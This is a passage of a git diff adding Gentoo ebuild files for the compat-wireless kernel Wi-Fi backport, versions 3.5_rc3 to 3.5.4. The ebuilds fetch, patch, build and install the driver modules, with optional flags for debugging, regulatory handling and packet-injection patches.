+		einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot."
+		einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the	needed drivers."
+		einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and load the new modules."
+	fi
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/net-wireless/compat-wireless/compat-wireless-3.5-r1.ebuild b/net-wireless/compat-wireless/compat-wireless-3.5-r1.ebuild
new file mode 100644
index 00000000..e09c719b
--- /dev/null
+++ b/net-wireless/compat-wireless/compat-wireless-3.5-r1.ebuild
@@ -0,0 +1,170 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="4"
+inherit linux-mod linux-info versionator eutils
+
+##Stable
+
+MY_P=${P/_rc/-rc}
+
+MY_PV=v$(get_version_component_range 1-2)
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable"
+CRAZY_VERSIONING="1-snpc"
+SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE="atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds pax_kernel"
+
+DEPEND="!net-wireless/compat-wireless-builder"
+RDEPEND="${DEPEND}
+	>=sys-kernel/linux-firmware-20110219
+	virtual/udev"
+
+S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING}
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	CONFIG_CHECK="~NET_SCHED"
+	CONFIG_CHECK="~IPW2200_PROMISCUOUS"
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed"
+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+
+	#these things are not optional
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+	linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat"
+
+	if use b43; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43"
+	fi
+	if use b44; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44"
+	fi
+}
+
+src_prepare() {
+	use pax_kernel && epatch "${FILESDIR}"/${P}-grsec.patch
+	use pax_kernel && epatch "${FILESDIR}"/${P}-grsec2.patch
+
+	#mcgrof said prep for inclusion in compat-wireless.git but this causes issues
+	#find "${S}" -name Makefile | xargs sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' -e 's/CONFIG_COMPAT_CHECK/CONFIG_CHECK/'
+	#sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' "${S}"/config.mk
+
+	# CONFIG_CFG80211_REG_DEBUG=y
+	sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk
+
+	#this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right
+	if use atheros_obey_crda; then
+		ewarn "You have enabled atheros_obey_crda which doesn't do what you think."
+		ewarn "This use flag will cause the eeprom of the card to be ignored and force"
+		ewarn "world roaming on the device until crda provides a valid regdomain."
+		ewarn "Short version, this is not a way to break the law, this will automatically"
+		ewarn "make your card less functional unless you set a proper regdomain with iw/crda."
+		epatch "${FILESDIR}"/ath_regd_optional.patch
+	fi
+
+	if use injection; then
+		epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
+		epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch
+	#	epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+	#	epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+		epatch "${FILESDIR}"/ipw2200-inject.3.4.6.patch
+	fi
+	use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch
+	use debug-driver && sed -i '/DEBUG=y/s/^# *//' "${S}"/config.mk
+	use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk
+	if use full-debug; then
+		if use debug-driver ; then
+			sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk
+		else
+			ewarn "Enabling full-debug includes debug-driver."
+			sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk
+		fi
+	fi
+#	Disable B44 ethernet driver
+	if ! use b44; then
+		sed -i '/B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+		sed -i '/B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+	fi
+
+#	Disable B43 driver
+	if ! use b43; then
+		sed -i '/B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+		sed -i '/B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+	#CONFIG_B43LEGACY=
+	fi
+
+#	fixme: there are more bluethooth settings in the config.mk
+	if ! use bluetooth; then
+		sed -i '/COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver"
+		sed -i '/COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver"
+	fi
+
+	#enable alx atheros ethernet driver
+	sed -i 's/ALX=n/ALX=m/' "${S}"/config.mk || die "Failed to enable Atheros ALX driver"
+
+	#avoid annoying ACCESS DENIED sandbox errors
+	sed -i "s/\${MAKE} -C \${KLIB_BUILD} kernelversion/echo ${KV_FULL}/g" compat/scripts/gen-compat-config.sh || die "sed failed"
+	sed -i "s/shell \$(MAKE) -C \$(KLIB_BUILD) kernelversion/echo ${KV_FULL}/g" config.mk || die "sed failed"
+	sed -i "s/make -C \$KLIB_BUILD kernelversion/echo ${KV_FULL}/g" scripts/gen-compat-autoconf.sh || die "sed failed"
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed"
+}
+
+src_install() {
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/unload.sh
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh
+
+	dodoc README
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+
+	if use !livecd; then
+		if use loadmodules; then
+			einfo "Attempting to unload modules..."
+			/usr/sbin/unload.sh 2>&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!"
+			einfo "Triggering automatic reload of needed modules..."
+			/sbin/udevadm trigger
+			einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup."
+			einfo "If you experience any issues reboot is the simplest course of action."
+		fi
+	fi
+	if use !loadmodules; then
+		einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot."
+		einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the	needed drivers."
+		einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and load the new modules."
+	fi
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/net-wireless/compat-wireless/compat-wireless-3.5.4.ebuild b/net-wireless/compat-wireless/compat-wireless-3.5.4.ebuild
new file mode 100644
index 00000000..ee98649d
--- /dev/null
+++ b/net-wireless/compat-wireless/compat-wireless-3.5.4.ebuild
@@ -0,0 +1,173 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="4"
+inherit linux-mod linux-info versionator eutils
+
+##Stable
+
+MY_P=${P/_rc/-rc}
+
+MY_PV=v$(get_version_component_range 1-2)
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable"
+CRAZY_VERSIONING="1-snpc"
+SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~arm x86"
+IUSE="+alx atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds pax_kernel"
+
+DEPEND="!net-wireless/compat-wireless-builder"
+RDEPEND="${DEPEND}
+	>=sys-kernel/linux-firmware-20110219
+	virtual/udev"
+
+S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING}
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	CONFIG_CHECK="~NET_SCHED"
+	CONFIG_CHECK="~IPW2200_PROMISCUOUS"
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed"
+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+
+	#these things are not optional
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+	linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat"
+
+	if use b43; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43"
+	fi
+	if use b44; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44"
+	fi
+}
+
+src_prepare() {
+	use pax_kernel && epatch "${FILESDIR}"/${PN}-3.5.4-grsec.patch
+
+	#mcgrof said prep for inclusion in compat-wireless.git but this causes issues
+	#find "${S}" -name Makefile | xargs sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' -e 's/CONFIG_COMPAT_CHECK/CONFIG_CHECK/'
+	#sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' "${S}"/config.mk
+
+	# CONFIG_CFG80211_REG_DEBUG=y
+	sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk
+
+	#this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right
+	if use atheros_obey_crda; then
+		ewarn "You have enabled atheros_obey_crda which doesn't do what you think."
+		ewarn "This use flag will cause the eeprom of the card to be ignored and force"
+		ewarn "world roaming on the device until crda provides a valid regdomain."
+		ewarn "Short version, this is not a way to break the law, this will automatically"
+		ewarn "make your card less functional unless you set a proper regdomain with iw/crda."
+		epatch "${FILESDIR}"/ath_regd_optional.patch
+	fi
+
+	if use injection; then
+		epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
+		epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch
+	#	epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+	#	epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+		epatch "${FILESDIR}"/ipw2200-inject.3.4.6.patch
+	fi
+	use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch
+	use debug-driver && sed -i '/DEBUG=y/s/^# *//' "${S}"/config.mk
+	use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk
+	if use full-debug; then
+		if use debug-driver ; then
+			sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk
+		else
+			ewarn "Enabling full-debug includes debug-driver."
+			sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk
+		fi
+	fi
+#	Disable B44 ethernet driver
+	if ! use b44; then
+		sed -i '/B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+		sed -i '/B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+	fi
+
+#	Disable B43 driver
+	if ! use b43; then
+		sed -i '/B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+		sed -i '/B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+	#CONFIG_B43LEGACY=
+	fi
+
+#	fixme: there are more bluethooth settings in the config.mk
+	if ! use bluetooth; then
+		sed -i '/COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver"
+		sed -i '/COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver"
+	fi
+
+	#enable alx atheros ethernet driver
+	if use alx; then
+		sed -i 's/ALX=n/ALX=m/' "${S}"/config.mk || die "Failed to enable Atheros ALX driver"
+	else
+		sed -i 's/ALX=m/ALX=n/' "${S}"/config.mk || die "Failed to disable Atheros ALX driver"
+	fi
+
+	#avoid annoying ACCESS DENIED sandbox errors
+	sed -i "s/\${MAKE} -C \${KLIB_BUILD} kernelversion/echo ${KV_FULL}/g" compat/scripts/gen-compat-config.sh || die "sed failed"
+	sed -i "s/shell \$(MAKE) -C \$(KLIB_BUILD) kernelversion/echo ${KV_FULL}/g" config.mk || die "sed failed"
+	sed -i "s/make -C \$KLIB_BUILD kernelversion/echo ${KV_FULL}/g" scripts/gen-compat-autoconf.sh || die "sed failed"
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed"
+}
+
+src_install() {
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/unload.sh
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh
+
+	dodoc README
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+
+	if use !livecd; then
+		if use loadmodules; then
+			einfo "Attempting to unload modules..."
+			/usr/sbin/unload.sh 2>&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!"
+			einfo "Triggering automatic reload of needed modules..."
+			/sbin/udevadm trigger
+			einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup."
+			einfo "If you experience any issues reboot is the simplest course of action."
+		fi
+	fi
+	if use !loadmodules; then
+		einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot."
+		einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the	needed drivers."
+		einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and load the new modules."
+	fi
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/net-wireless/compat-wireless/compat-wireless-3.5.ebuild b/net-wireless/compat-wireless/compat-wireless-3.5.ebuild
new file mode 100644
index 00000000..d6e2fc2d
--- /dev/null
+++ b/net-wireless/compat-wireless/compat-wireless-3.5.ebuild
@@ -0,0 +1,169 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="4"
+inherit linux-mod linux-info versionator eutils
+
+##Stable
+
+MY_P=${P/_rc/-rc}
+
+MY_PV=v$(get_version_component_range 1-2)
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable"
+CRAZY_VERSIONING="1-snpc"
+SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE="atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds pax_kernel"
+
+DEPEND="!net-wireless/compat-wireless-builder"
+RDEPEND="${DEPEND}
+	>=sys-kernel/linux-firmware-20110219
+	virtual/udev"
+
+S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING}
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	CONFIG_CHECK="~NET_SCHED"
+	CONFIG_CHECK="~IPW2200_PROMISCUOUS"
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed"
+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+
+	#these things are not optional
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+	linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat"
+
+	if use b43; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43"
+	fi
+	if use b44; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44"
+	fi
+}
+
+src_prepare() {
+	use pax_kernel && epatch "${FILESDIR}"/${P}-grsec.patch
+
+	#mcgrof said prep for inclusion in compat-wireless.git but this causes issues
+	#find "${S}" -name Makefile | xargs sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' -e 's/CONFIG_COMPAT_CHECK/CONFIG_CHECK/'
+	#sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' "${S}"/config.mk
+
+	# CONFIG_CFG80211_REG_DEBUG=y
+	sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk
+
+	#this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right
+	if use atheros_obey_crda; then
+		ewarn "You have enabled atheros_obey_crda which doesn't do what you think."
+		ewarn "This use flag will cause the eeprom of the card to be ignored and force"
+		ewarn "world roaming on the device until crda provides a valid regdomain."
+		ewarn "Short version, this is not a way to break the law, this will automatically"
+		ewarn "make your card less functional unless you set a proper regdomain with iw/crda."
+		epatch "${FILESDIR}"/ath_regd_optional.patch
+	fi
+
+	if use injection; then
+		epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
+		epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch
+	#	epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+	#	epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+		epatch "${FILESDIR}"/ipw2200-inject.3.4.6.patch
+	fi
+	use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch
+	use debug-driver && sed -i '/DEBUG=y/s/^# *//' "${S}"/config.mk
+	use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk
+	if use full-debug; then
+		if use debug-driver ; then
+			sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk
+		else
+			ewarn "Enabling full-debug includes debug-driver."
+			sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk
+		fi
+	fi
+#	Disable B44 ethernet driver
+	if ! use b44; then
+		sed -i '/B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+		sed -i '/B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+	fi
+
+#	Disable B43 driver
+	if ! use b43; then
+		sed -i '/B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+		sed -i '/B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+	#CONFIG_B43LEGACY=
+	fi
+
+#	fixme: there are more bluethooth settings in the config.mk
+	if ! use bluetooth; then
+		sed -i '/COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver"
+		sed -i '/COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver"
+	fi
+
+	#enable alx atheros ethernet driver
+	sed -i 's/ALX=n/ALX=m/' "${S}"/config.mk || die "Failed to enable Atheros ALX driver"
+
+	#avoid annoying ACCESS DENIED sandbox errors
+	sed -i "s/\${MAKE} -C \${KLIB_BUILD} kernelversion/echo ${KV_FULL}/g" compat/scripts/gen-compat-config.sh || die "sed failed"
+	sed -i "s/shell \$(MAKE) -C \$(KLIB_BUILD) kernelversion/echo ${KV_FULL}/g" config.mk || die "sed failed"
+	sed -i "s/make -C \$KLIB_BUILD kernelversion/echo ${KV_FULL}/g" scripts/gen-compat-autoconf.sh || die "sed failed"
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed"
+}
+
+src_install() {
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/unload.sh
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh
+
+	dodoc README
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+
+	if use !livecd; then
+		if use loadmodules; then
+			einfo "Attempting to unload modules..."
+			/usr/sbin/unload.sh 2>&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!"
+			einfo "Triggering automatic reload of needed modules..."
+			/sbin/udevadm trigger
+			einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup."
+			einfo "If you experience any issues reboot is the simplest course of action."
+		fi
+	fi
+	if use !loadmodules; then
+		einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot."
+		einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the	needed drivers."
+		einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and load the new modules."
+	fi
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/net-wireless/compat-wireless/compat-wireless-3.5_rc3.ebuild b/net-wireless/compat-wireless/compat-wireless-3.5_rc3.ebuild
new file mode 100644
index 00000000..4a68c99f
--- /dev/null
+++ b/net-wireless/compat-wireless/compat-wireless-3.5_rc3.ebuild
@@ -0,0 +1,155 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="4"
+inherit linux-mod linux-info versionator eutils
+
+##Stable
+
+MY_P=${P/_rc/-rc}
+
+MY_PV=v$(get_version_component_range 1-2)
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable"
+CRAZY_VERSIONING="2-snpc"
+SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE="atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds"
+
+DEPEND="!net-wireless/compat-wireless-builder"
+RDEPEND="${DEPEND}
+	>=sys-kernel/linux-firmware-20110219
+	virtual/udev"
+
+S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING}
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed"
+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+
+	#these things are not optional
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+	linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat"
+
+	if use b43; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43"
+	fi
+	if use b44; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44"
+	fi
+}
+
+src_prepare() {
+	# CONFIG_CFG80211_REG_DEBUG=y
+	sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk
+
+	#this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right
+	if use atheros_obey_crda; then
+		ewarn "You have enabled atheros_obey_crda which doesn't do what you think."
+		ewarn "This use flag will cause the eeprom of the card to be ignored and force"
+		ewarn "world roaming on the device until crda provides a valid regdomain."
+		ewarn "Short version, this is not a way to break the law, this will automatically"
+		ewarn "make your card less functional unless you set a proper regdomain with iw/crda."
+		ewarn "Pausing for 10 secs..."
+		epatch "${FILESDIR}"/ath_regd_optional.patch
+	fi
+
+	if use injection; then
+		epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
+		epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch
+	#	epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+	#	epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+		epatch "${FILESDIR}"/ipw2200-inject.2.6.36.patch
+	fi
+	use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch
+	use debug-driver && epatch "${FILESDIR}"/driver-debug.patch
+	use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk
+	if use full-debug; then
+		if use debug-driver ; then
+			sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk
+		else
+			ewarn "Enabling full-debug includes debug-driver."
+			sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk
+		fi
+	fi
+#	Disable B44 ethernet driver
+	if ! use b44; then
+		sed -i '/CONFIG_B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+		sed -i '/CONFIG_B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+	fi
+
+#	Disable B43 driver
+	if ! use b43; then
+		sed -i '/CONFIG_B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+		sed -i '/CONFIG_B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+	#CONFIG_B43LEGACY=
+	fi
+
+#	fixme: there are more bluethooth settings in the config.mk
+	if ! use bluetooth; then
+		sed -i '/CONFIG_COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver"
+		sed -i '/CONFIG_COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver"
+	fi
+
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed"
+}
+
+src_install() {
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/unload.sh
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh
+
+	dodoc README
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+
+	if use !livecd; then
+		if use loadmodules; then
+			einfo "Attempting to unload modules..."
+			/usr/sbin/unload.sh 2>&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!"
+			einfo "Triggering automatic reload of needed modules..."
+			/sbin/udevadm trigger
+			einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup."
+			einfo "If you experience any issues reboot is the simplest course of action."
+		fi
+	fi
+	if use !loadmodules; then
+		einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot."
